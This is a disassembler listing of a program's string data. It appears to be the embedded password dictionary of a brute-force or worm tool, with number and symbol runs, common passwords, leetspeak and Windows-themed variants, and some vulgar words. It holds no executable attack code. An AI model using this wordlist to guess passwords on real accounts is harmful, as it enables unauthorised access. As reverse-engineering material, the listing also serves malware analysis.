a3333333333	db '3333333333',0       ; DATA XREF: seg002:0042E080o
		align 10h
a333333333	db '333333333',0        ; DATA XREF: seg002:0042E07Co
		align 4
a33333333	db '33333333',0         ; DATA XREF: seg002:0042E078o
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg002:0042E074o
a333333		db '333333',0           ; DATA XREF: seg002:0042E070o
		align 4
a33333		db '33333',0            ; DATA XREF: seg002:0042E06Co
		align 10h
a3333		db '3333',0             ; DATA XREF: seg002:0042E068o
		align 4
a333		db '333',0              ; DATA XREF: seg002:0042E064o
a33		db '33',0               ; DATA XREF: seg002:0042E060o
		align 10h
a3:					; DATA XREF: seg002:0042E05Co
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg002:0042E058o
		align 10h
a222222222	db '222222222',0        ; DATA XREF: seg002:0042E054o
		align 4
a22222222	db '22222222',0         ; DATA XREF: seg002:0042E050o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg002:0042E04Co
a222222		db '222222',0           ; DATA XREF: seg002:0042E048o
		align 4
a22222		db '22222',0            ; DATA XREF: seg002:0042E044o
		align 10h
a2222		db '2222',0             ; DATA XREF: seg002:0042E040o
		align 4
a222		db '222',0              ; DATA XREF: seg002:0042E03Co
a22		db '22',0               ; DATA XREF: seg002:0042E038o
		align 10h
a2:					; DATA XREF: seg002:0042E034o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg002:0042E030o
		align 10h
a111111111	db '111111111',0        ; DATA XREF: seg002:0042E02Co
		align 4
a1111111	db '1111111',0          ; DATA XREF: seg002:0042E024o
a11111		db '11111',0            ; DATA XREF: seg002:0042E01Co
		align 4
a1111		db '1111',0             ; DATA XREF: seg002:0042E018o
		align 4
a11		db '11',0               ; DATA XREF: seg002:0042E010o
		align 4
a010		db '010',0              ; DATA XREF: seg002:0042E000o
a009		db '009',0              ; DATA XREF: seg002:0042DFFCo
a008		db '008',0              ; DATA XREF: seg002:0042DFF8o
a006		db '006',0              ; DATA XREF: seg002:0042DFF0o
a005		db '005',0              ; DATA XREF: seg000:0040D04Eo
					; seg002:0042DFECo
a004		db '004',0              ; DATA XREF: seg002:0042DFE8o
a003		db '003',0              ; DATA XREF: seg002:0042DFE4o
a002		db '002',0              ; DATA XREF: seg002:0042DFE0o
a001		db '001',0              ; DATA XREF: seg000:0040D039o
					; seg002:0042DFDCo
asc_42F28C	db '*********',0        ; DATA XREF: seg002:0042DFD8o
		align 4
asc_42F298	db '********',0         ; DATA XREF: seg002:0042DFD4o
		align 4
asc_42F2A4	db '*******',0          ; DATA XREF: seg002:0042DFD0o
asc_42F2AC	db '******',0           ; DATA XREF: seg002:0042DFCCo
		align 4
asc_42F2B4	db '*****',0            ; DATA XREF: seg002:0042DFC8o
		align 4
asc_42F2BC	db '****',0             ; DATA XREF: seg002:0042DFC4o
		align 4
asc_42F2C4	db '***',0              ; DATA XREF: seg002:0042DFC0o
asc_42F2C8	db '**',0               ; DATA XREF: seg002:0042DFBCo
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: seg002:0042DFB4o
		align 4
a000000000	db '000000000',0        ; DATA XREF: seg002:0042DFB0o
		align 4
a@		db '@!',0               ; DATA XREF: seg002:0042DF90o
		align 4
a@_0		db '#@!',0              ; DATA XREF: seg002:0042DF8Co
a@_1		db '$#@!',0             ; DATA XREF: seg002:0042DF88o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: seg002:0042DF84o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: seg002:0042DF80o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: seg002:0042DF7Co
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg002:0042DF78o
		align 4
asc_42F318	db '$$$',0              ; DATA XREF: seg002:0042DF74o
asc_42F31C	db '$$',0               ; DATA XREF: seg002:0042DF70o
		align 10h
asc_42F320:				; DATA XREF: seg002:0042DF6Co
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg002:0042DF68o
		align 4
a789_0		db '789+',0             ; DATA XREF: seg002:0042DF64o
		align 4
a0		db '=-0',0              ; DATA XREF: seg002:0042DF60o
asc_42F338	db '--++',0             ; DATA XREF: seg002:0042DF5Co
		align 10h
asc_42F340	db '-+',0               ; DATA XREF: seg002:0042DF58o
		align 4
asc_42F344	db '----',0             ; DATA XREF: seg002:0042DF54o
		align 4
asc_42F34C	db '--',0               ; DATA XREF: seg002:0042DF4Co
					; seg002:0042DF50o
		align 10h
asc_42F350:				; DATA XREF: seg002:0042DF48o
		unicode	0, <->,0
asc_42F354	db '++++',0             ; DATA XREF: seg002:0042DF44o
		align 4
asc_42F35C	db '+++',0              ; DATA XREF: seg002:0042DF40o
asc_42F360	db '++',0               ; DATA XREF: seg002:0042DF3Co
		align 4
asc_42F364:				; DATA XREF: seg002:0042DF38o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg002:0042DF34o
		align 4
a@_6:					; DATA XREF: seg000:0040D073o
					; seg002:0042DF30o
		unicode	0, <@>,0
off_42F370	dd offset loc_40211D+4	; DATA XREF: seg002:0042DF2Co
dword_42F374	dd 2121h	dword_42F378	dd 24234021h, 2A265E25h, 0dword_42F384	dd 24234021h, 265E25hdword_42F38C	dd 24234021h, 5E25hdword_42F394	dd 24234021h, 25hdword_42F39C	dd 234021h	dword_42F3A0	dd 4021h	dword_42F3A4	dd 21h							; seg000:0041299Ao ...
dword_42F3A8	dd 25h		aZimmerman	db 'zimmerman',0        ; DATA XREF: seg002:0042DF00o
		align 4
aZap		db 'zap',0              ; DATA XREF: seg002:0042DEFCo
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg002:0042DEF8o
aXyz		db 'xyz',0              ; DATA XREF: seg002:0042DEF4o
					; seg002:0042E3ECo
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg002:0042DEF0o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg002:0042DEECo
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: seg002:0042DEE8o
		align 4
aTty		db 'tty',0              ; DATA XREF: seg002:0042DEE4o
aTopography	db 'topography',0       ; DATA XREF: seg002:0042DEE0o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: seg002:0042DEDCo
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: seg002:0042DED8o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: seg002:0042DED4o
		align 4
aSys		db 'sys',0              ; DATA XREF: seg002:0042DED0o
aSupported	db 'supported',0        ; DATA XREF: seg002:0042DECCo
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: seg002:0042DEC8o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: seg002:0042DEC4o
		align 10h
aSun		db 'sun',0              ; DATA XREF: seg002:0042DEC0o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg002:0042DEBCo
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: seg002:0042DEB8o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: seg002:0042DEB4o
		align 4
aSignature	db 'signature',0        ; DATA XREF: seg002:0042DEB0o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: seg002:0042DEACo
		align 10h
aSal		db 'sal',0              ; DATA XREF: seg002:0042DEA8o
aRochester	db 'rochester',0        ; DATA XREF: seg002:0042DEA4o
		align 10h
aRje		db 'rje',0              ; DATA XREF: seg002:0042DEA0o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg002:0042DE9Co
		align 4
aPub		db 'pub',0              ; DATA XREF: seg002:0042DE98o
aProfessor	db 'professor',0        ; DATA XREF: seg002:0042DE94o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: seg002:0042DE90o
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: seg002:0042DE8Co
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: seg002:0042DE88o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: seg002:0042DE84o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: seg002:0042DE80o
		align 10h
aPam		db 'pam',0              ; DATA XREF: seg002:0042DE7Co
aPad		db 'pad',0              ; DATA XREF: seg002:0042DE78o
aOceanography	db 'oceanography',0     ; DATA XREF: seg002:0042DE74o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: seg002:0042DE70o
		align 4
aNew		db 'new',0              ; DATA XREF: seg002:0042DE6Co
aNet		db 'net',0              ; DATA XREF: seg002:0042DE68o
aMit		db 'mit',0              ; DATA XREF: seg002:0042DE64o
aMgr		db 'mgr',0              ; DATA XREF: seg002:0042DE60o
aMacintosh	db 'macintosh',0        ; DATA XREF: seg002:0042DE5Co
		align 10h
aLiz		db 'liz',0              ; DATA XREF: seg002:0042DE58o
aLee		db 'lee',0              ; DATA XREF: seg002:0042DE54o
aLamination	db 'lamination',0       ; DATA XREF: seg002:0042DE50o
		align 4
aKim		db 'kim',0              ; DATA XREF: seg002:0042DE4Co
aJoy		db 'joy',0              ; DATA XREF: seg002:0042DE44o
aJen		db 'jen',0              ; DATA XREF: seg002:0042DE40o
aInnocuous	db 'innocuous',0        ; DATA XREF: seg002:0042DE3Co
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: seg002:0042DE38o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg002:0042DE34o
aHappening	db 'happening',0        ; DATA XREF: seg002:0042DE30o
		align 4
aHal		db 'hal',0              ; DATA XREF: seg002:0042DE2Co
aGnu		db 'gnu',0              ; DATA XREF: seg002:0042DE28o
aFun		db 'fun',0              ; DATA XREF: seg002:0042DE24o
aForesight	db 'foresight',0        ; DATA XREF: seg002:0042DE20o
		align 10h
aFoolproof	db 'foolproof',0        ; DATA XREF: seg002:0042DE1Co
		align 4
aExtension	db 'extension',0        ; DATA XREF: seg002:0042DE18o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: seg002:0042DE14o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: seg002:0042DE10o
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg002:0042DE0Co
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg002:0042DE08o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg002:0042DE04o
		align 4
aDos		db 'dos',0              ; DATA XREF: seg002:0042DE00o
aDog		db 'dog',0              ; DATA XREF: seg002:0042DDFCo
aDiscovery	db 'discovery',0        ; DATA XREF: seg002:0042DDF8o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: seg002:0042DDF4o
		align 4
aDeb		db 'deb',0              ; DATA XREF: seg002:0042DDF0o
aCornelius	db 'cornelius',0        ; DATA XREF: seg002:0042DDECo
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: seg002:0042DDE8o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: seg002:0042DDE4o
		align 4
aChristina	db 'christina',0        ; DATA XREF: seg002:0042DDE0o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: seg002:0042DDDCo
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: seg002:0042DDD8o
		align 10h
aCat		db 'cat',0              ; DATA XREF: seg002:0042DDD4o
aCampanile	db 'campanile',0        ; DATA XREF: seg002:0042DDD0o
		align 10h
aCad		db 'cad',0              ; DATA XREF: seg002:0042DDCCo
aBsd		db 'bsd',0              ; DATA XREF: seg002:0042DDC8o
aBob		db 'bob',0              ; DATA XREF: seg002:0042DDC4o
aBicameral	db 'bicameral',0        ; DATA XREF: seg002:0042DDC0o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: seg002:0042DDBCo
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg002:0042DDB8o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: seg002:0042DDB4o
aAsd		db 'asd',0              ; DATA XREF: seg002:0042DDB0o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg002:0042DDACo
		align 4
aAnn		db 'ann',0              ; DATA XREF: seg002:0042DDA8o
aAndromache	db 'andromache',0       ; DATA XREF: seg002:0042DDA4o
		align 4
aAmy		db 'amy',0              ; DATA XREF: seg002:0042DDA0o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg002:0042DD9Co
		align 4
aAma		db 'ama',0              ; DATA XREF: seg002:0042DD98o
aAlf		db 'alf',0              ; DATA XREF: seg002:0042DD94o
aAlbatross	db 'albatross',0        ; DATA XREF: seg002:0042DD90o
		align 4
aAda		db 'ada',0              ; DATA XREF: seg002:0042DD8Co
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg002:0042DD88o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg002:0042DD84o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg002:0042DD80o
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: seg002:0042DD7Co
		align 4
aHax		db 'hax',0              ; DATA XREF: seg002:0042DD78o
aWh0re		db 'wh0re',0            ; DATA XREF: seg002:0042DD74o
		align 4
aHo		db 'ho',0               ; DATA XREF: seg002:0042DD70o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg002:0042DD6Co
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: seg002:0042DD68o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: seg002:0042DD64o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg002:0042DD60o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg002:0042DD5Co
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: seg002:0042DD58o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: seg002:0042DD54o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg002:0042DD50o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: seg002:0042DD4Co
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: seg002:0042DD48o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg002:0042DD44o
		align 4
aMs		db 'MS',0               ; DATA XREF: seg002:0042DD40o
		align 4
aM_0		db 'M$',0               ; DATA XREF: seg002:0042DD3Co
		align 10h
aBilly		db 'billy',0            ; DATA XREF: seg002:0042DD38o
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg002:0042DD34o
aWindoze	db 'windoze',0          ; DATA XREF: seg002:0042DD30o
aWindowz	db 'windowz',0          ; DATA XREF: seg002:0042DD2Co
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg002:0042DD28o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg002:0042DD24o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg002:0042DD20o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: seg002:0042DD1Co
		align 4
aDud3		db 'dud3',0             ; DATA XREF: seg002:0042DD18o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: seg002:0042DD14o
aD00d		db 'd00d',0             ; DATA XREF: seg002:0042DD10o
		align 4
aLol		db 'lol',0              ; DATA XREF: seg002:0042DD0Co
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg002:0042DD08o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg002:0042DD04o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: seg002:0042DD00o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg002:0042DCFCo
		align 10h
aTestin		db 'testin',0           ; DATA XREF: seg002:0042DCF8o
		align 4
aTester		db 'tester',0           ; DATA XREF: seg002:0042DCF4o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: seg002:0042DCF0o
					; seg002:0042DFACo
		align 4
aZulu		db 'zulu',0             ; DATA XREF: seg002:0042DCECo
		align 4
aZombie		db 'zombie',0           ; DATA XREF: seg002:0042DCE8o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: seg002:0042DCE4o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg002:0042DCE0o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: seg002:0042DCDCo
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg002:0042DCD8o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: seg002:0042DCD4o
		align 4
aYoung		db 'young',0            ; DATA XREF: seg002:0042DCD0o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: seg002:0042DCCCo
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: seg002:0042DCC8o
aYellowst	db 'yellowst',0         ; DATA XREF: seg002:0042DCC4o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: seg002:0042DCC0o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: seg002:0042DCBCo
		align 4
aYang		db 'yang',0             ; DATA XREF: seg002:0042DCB8o
					; seg002:0042E3F4o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: seg002:0042DCB4o
					; seg002:0042E3F0o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg002:0042DCB0o
		align 4
aXray		db 'xray',0             ; DATA XREF: seg002:0042DCACo
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: seg002:0042DCA8o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: seg002:0042DCA4o
		align 4
aXman		db 'xman',0             ; DATA XREF: seg002:0042DCA0o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: seg002:0042DC9Co
		align 4
aXena		db 'xena',0             ; DATA XREF: seg002:0042DC98o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: seg002:0042DC94o
aWwii		db 'wwii',0             ; DATA XREF: seg002:0042DC90o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: seg002:0042DC8Co
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg002:0042DC88o
		align 10h
aWork		db 'work',0             ; DATA XREF: seg002:0042DC84o
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg002:0042DC80o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: seg002:0042DC7Co
		align 4
aWord		db 'word',0             ; DATA XREF: seg002:0042DC78o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: seg002:0042DC74o
		align 10h
aWood		db 'wood',0             ; DATA XREF: seg002:0042DC70o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg002:0042DC6Co
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: seg002:0042DC68o
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg002:0042DC64o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: seg002:0042DC60o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: seg002:0042DC5Co
		align 4
aWizard		db 'wizard',0           ; DATA XREF: seg002:0042DC58o
		align 4
aWithin		db 'within',0           ; DATA XREF: seg002:0042DC54o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: seg002:0042DC50o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg002:0042DC4Co
		align 4
aWired		db 'wired',0            ; DATA XREF: seg002:0042DC48o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: seg002:0042DC44o
aWing		db 'wing',0             ; DATA XREF: seg002:0042DC40o
		align 10h
aWine		db 'wine',0             ; DATA XREF: seg002:0042DC3Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:0042DC38o
aWilma		db 'wilma',0            ; DATA XREF: seg002:0042DC34o
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg002:0042DC30o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: seg002:0042DC2Co
		align 4
aWilliam	db 'william',0          ; DATA XREF: seg002:0042DC28o
aWill		db 'will',0             ; DATA XREF: seg002:0042DC24o
		align 4
aWhore		db 'whore',0            ; DATA XREF: seg002:0042DC20o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: seg002:0042DC1Co
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: seg002:0042DC18o
aWhiting	db 'whiting',0          ; DATA XREF: seg002:0042DC14o
aWhite		db 'white',0            ; DATA XREF: seg002:0042DC10o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg002:0042DC0Co
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: seg002:0042DC08o
aWhatever	db 'whatever',0         ; DATA XREF: seg002:0042DC04o
		align 4
aWestern	db 'western',0          ; DATA XREF: seg002:0042DC00o
aWest		db 'west',0             ; DATA XREF: seg002:0042DBFCo
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: seg002:0042DBF8o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: seg002:0042DBF4o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg002:0042DBF0o
		align 10h
aWell		db 'well',0             ; DATA XREF: seg002:0042DBECo
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg002:0042DBE8o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: seg002:0042DBE4o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg002:0042DBE0o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: seg002:0042DBDCo
aWave		db 'wave',0             ; DATA XREF: seg002:0042DBD8o
		align 4
aWater		db 'water',0            ; DATA XREF: seg002:0042DBD4o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: seg002:0042DBD0o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg002:0042DBCCo
		align 10h
aWarren		db 'warren',0           ; DATA XREF: seg002:0042DBC8o
		align 4
aWarp		db 'warp',0             ; DATA XREF: seg002:0042DBC4o
		align 10h
aWargames	db 'wargames',0         ; DATA XREF: seg002:0042DBC0o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: seg002:0042DBBCo
aWarez		db 'warez',0            ; DATA XREF: seg002:0042DBB8o
		align 4
aWard		db 'ward',0             ; DATA XREF: seg002:0042DBB4o
		align 4
aWaco		db 'waco',0             ; DATA XREF: seg002:0042DBB0o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: seg002:0042DBACo
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: seg002:0042DBA8o
		align 10h
aVisual		db 'visual',0           ; DATA XREF: seg002:0042DBA4o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: seg002:0042DBA0o
aVirus		db 'virus',0            ; DATA XREF: seg002:0042DB9Co
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: seg002:0042DB98o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: seg002:0042DB94o
		align 4
aVillage	db 'village',0          ; DATA XREF: seg002:0042DB90o
aVideogam	db 'videogam',0         ; DATA XREF: seg002:0042DB8Co
		align 10h
aVideo		db 'video',0            ; DATA XREF: seg002:0042DB88o
		align 4
aVictor		db 'victor',0           ; DATA XREF: seg002:0042DB84o
		align 10h
aVicky		db 'vicky',0            ; DATA XREF: seg002:0042DB80o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: seg002:0042DB7Co
aVeronica	db 'veronica',0         ; DATA XREF: seg002:0042DB78o
		align 4
aVenus		db 'venus',0            ; DATA XREF: seg002:0042DB74o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: seg002:0042DB70o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: seg002:0042DB6Co
aValerie	db 'valerie',0          ; DATA XREF: seg002:0042DB68o
aVagina		db 'vagina',0           ; DATA XREF: seg002:0042DB64o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: seg002:0042DB60o
		align 4
aUtility	db 'utility',0          ; DATA XREF: seg002:0042DB5Co
aUtil		db 'util',0             ; DATA XREF: seg002:0042DB58o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: seg002:0042DB54o
		align 4
aUsername	db 'username',0         ; DATA XREF: seg002:0042DB50o
		align 10h
aUsermane	db 'usermane',0         ; DATA XREF: seg002:0042DB4Co
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: seg002:0042DB48o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: seg002:0042DB44o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: seg002:0042DB40o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: seg002:0042DB3Co
		align 4
aUpload		db 'upload',0           ; DATA XREF: seg002:0042DB38o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: seg002:0042DB34o
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: seg002:0042DB30o
aUniversi	db 'universi',0         ; DATA XREF: seg002:0042DB2Co
		align 10h
aUniverse	db 'universe',0         ; DATA XREF: seg002:0042DB28o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: seg002:0042DB24o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: seg002:0042DB20o
aUnicorn	db 'unicorn',0          ; DATA XREF: seg002:0042DB1Co
aUnhappy	db 'unhappy',0          ; DATA XREF: seg002:0042DB18o
aUndo		db 'undo',0             ; DATA XREF: seg002:0042DB14o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: seg002:0042DB10o
		align 10h
aUmesh		db 'umesh',0            ; DATA XREF: seg002:0042DB0Co
		align 4
aUgly		db 'ugly',0             ; DATA XREF: seg002:0042DB08o
		align 10h
aTuttle		db 'tuttle',0           ; DATA XREF: seg002:0042DB04o
		align 4
aTurn		db 'turn',0             ; DATA XREF: seg002:0042DB00o
		align 10h
aTuesday	db 'tuesday',0          ; DATA XREF: seg002:0042DAFCo
aTubas		db 'tubas',0            ; DATA XREF: seg002:0042DAF8o
		align 10h
aTruth		db 'truth',0            ; DATA XREF: seg002:0042DAF4o
		align 4
aTrue		db 'true',0             ; DATA XREF: seg002:0042DAF0o
		align 10h
aTron		db 'tron',0             ; DATA XREF: seg002:0042DAECo
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: seg002:0042DAE8o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: seg002:0042DAE4o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: seg002:0042DAE0o
aTrisha		db 'trisha',0           ; DATA XREF: seg002:0042DADCo
		align 4
aTrek		db 'trek',0             ; DATA XREF: seg002:0042DAD8o
		align 4
aTree		db 'tree',0             ; DATA XREF: seg002:0042DAD4o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: seg002:0042DAD0o
		align 4
aTrap		db 'trap',0             ; DATA XREF: seg002:0042DACCo
		align 10h
aTransfer	db 'transfer',0         ; DATA XREF: seg002:0042DAC8o
		align 4
aTrails		db 'trails',0           ; DATA XREF: seg002:0042DAC4o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: seg002:0042DAC0o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: seg002:0042DABCo
		align 4
aTraci		db 'traci',0            ; DATA XREF: seg002:0042DAB8o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: seg002:0042DAB4o
					; seg002:0042E3C4o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: seg002:0042DAB0o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: seg002:0042DAACo
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: seg002:0042DAA8o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: seg002:0042DAA4o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: seg002:0042DAA0o
		align 4
aToken		db 'token',0            ; DATA XREF: seg002:0042DA9Co
		align 10h
aToggle		db 'toggle',0           ; DATA XREF: seg002:0042DA98o
		align 4
aToad		db 'toad',0             ; DATA XREF: seg002:0042DA94o
		align 10h
aTits		db 'tits',0             ; DATA XREF: seg002:0042DA90o
		align 4
aTina		db 'tina',0             ; DATA XREF: seg002:0042DA8Co
		align 10h
aTime		db 'time',0             ; DATA XREF: seg002:0042DA88o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: seg002:0042DA84o
					; seg002:0042E3B8o
		align 10h
aTiffany	db 'tiffany',0          ; DATA XREF: seg002:0042DA80o
aThursday	db 'thursday',0         ; DATA XREF: seg002:0042DA7Co
		align 4
aThin		db 'thin',0             ; DATA XREF: seg002:0042DA78o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: seg002:0042DA74o
aThailand	db 'thailand',0         ; DATA XREF: seg002:0042DA70o
		align 10h
aText		db 'text',0             ; DATA XREF: seg002:0042DA6Co
		align 4
aTetris		db 'tetris',0           ; DATA XREF: seg002:0042DA68o
		align 10h
aTess		db 'tess',0             ; DATA XREF: seg002:0042DA64o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: seg002:0042DA60o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: seg002:0042DA5Co
		align 10h
aTera		db 'tera',0             ; DATA XREF: seg002:0042DA58o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: seg002:0042DA54o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: seg002:0042DA50o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: seg002:0042DA4Co
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: seg002:0042DA48o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: seg002:0042DA44o
aTeen		db 'teen',0             ; DATA XREF: seg002:0042DA40o
		align 10h
aTech		db 'tech',0             ; DATA XREF: seg002:0042DA3Co
		align 4
aTears		db 'tears',0            ; DATA XREF: seg002:0042DA38o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: seg002:0042DA34o
		align 4
aTeam		db 'team',0             ; DATA XREF: seg002:0042DA30o
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: seg002:0042DA28o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: seg002:0042DA24o
		align 4
aTarget		db 'target',0           ; DATA XREF: seg002:0042DA20o
		align 4
aTara		db 'tara',0             ; DATA XREF: seg002:0042DA1Co
		align 4
